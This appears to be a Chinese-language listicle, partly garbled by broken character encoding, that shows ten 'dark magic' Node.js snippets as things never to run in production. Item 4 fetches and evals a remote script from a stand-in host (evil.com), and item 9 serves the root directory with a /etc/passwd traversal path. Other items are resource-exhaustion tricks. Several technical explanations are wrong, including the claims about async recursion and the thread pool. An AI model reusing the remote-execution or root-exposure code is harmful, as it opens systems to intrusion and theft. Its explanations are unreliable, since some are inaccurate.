邪修 Node.js ,10 段“千萬別上生產(chǎn)”的黑魔法代碼
——僅供技術(shù)獵奇,切勿真用!
?? 每條都可能:事件循環(huán)阻塞、內(nèi)存泄漏、CPU 100%、安全裸奔、運維提刀
面試炫技 OK,項目敢用就等死!
1?? 一行事件循環(huán)凍結(jié)
while (true) {} // 主線程死循環(huán),事件循環(huán)直接卡死
瀏覽器/Node 進(jìn)程瞬間無響應(yīng),只能強殺。
2?? 內(nèi)存泄漏黑洞
setInterval(() => {
const leak = new Array(1e6).fill(0); // 每 1 秒 8 MB
}, 1000);
不釋放大數(shù)組,長期運行后 V8 OOM 崩潰。
3?? 異步遞歸炸裂
async function evil() {
await Promise.resolve();
return evil(); // 永不返回,調(diào)用棧指數(shù)增長
}
evil();
每次
await
創(chuàng)建新微任務(wù),最終 RangeError: Maximum call stack size exceeded。
4?? 動態(tài) eval
木馬
const { execSync } = require('child_process');
eval(execSync('curl -s evil.com/payload.js')); // 遠(yuǎn)程執(zhí)行任意代碼
運行時拉取遠(yuǎn)程腳本,殺軟直接報警 。
5?? setInterval
+ require
循環(huán)加載
setInterval(() => {
delete require.cache[require.resolve('./module')];
require('./module'); // 每 100 ms 重新加載,內(nèi)存暴漲
}, 100);
模塊緩存泄漏,RSS 直線上升。
6?? fs
無限制寫日志
const fs = require('fs');
setInterval(() => {
fs.appendFileSync('/tmp/evil.log', 'x'.repeat(1e6)); // 1 MB/次
}, 10);
10 秒寫 100 MB,磁盤秒滿 。
7?? 高并發(fā)拒絕服務(wù)
const http = require('http');
http.createServer((req, res) => {
setTimeout(() => res.end('ok'), 0); // 0 ms 延遲,瞬間耗盡線程池
}).listen(3000);
客戶端洪水攻擊,單核 CPU 100%。
8?? 原型鏈污染全局
Object.prototype.toString = () => '??'; // 所有對象行為篡改
console.log(({}).toString()); // 輸出 ??
破壞內(nèi)置方法,調(diào)試器原地崩潰 。
9?? 通配符路徑遍歷
const express = require('express');
const app = express();
app.use('/static', express.static('/')); // 根目錄暴露
/static/../../../etc/passwd
直接下載系統(tǒng)文件。
?? 隱藏定時炸彈
setTimeout(() => {
process.exit(0); // 運行 1 小時后自動自殺
}, 3600 * 1000);
長期潛伏,運維半夜被叫醒。
邪修口訣
“事件循環(huán)當(dāng)陀螺,內(nèi)存當(dāng)黑洞;
eval 當(dāng)暗器,進(jìn)程當(dāng)煙花?!?/p>
PS
想要正經(jīng)學(xué)習(xí) Node.js ,從編程獅的《Node.js 入門課程》開始!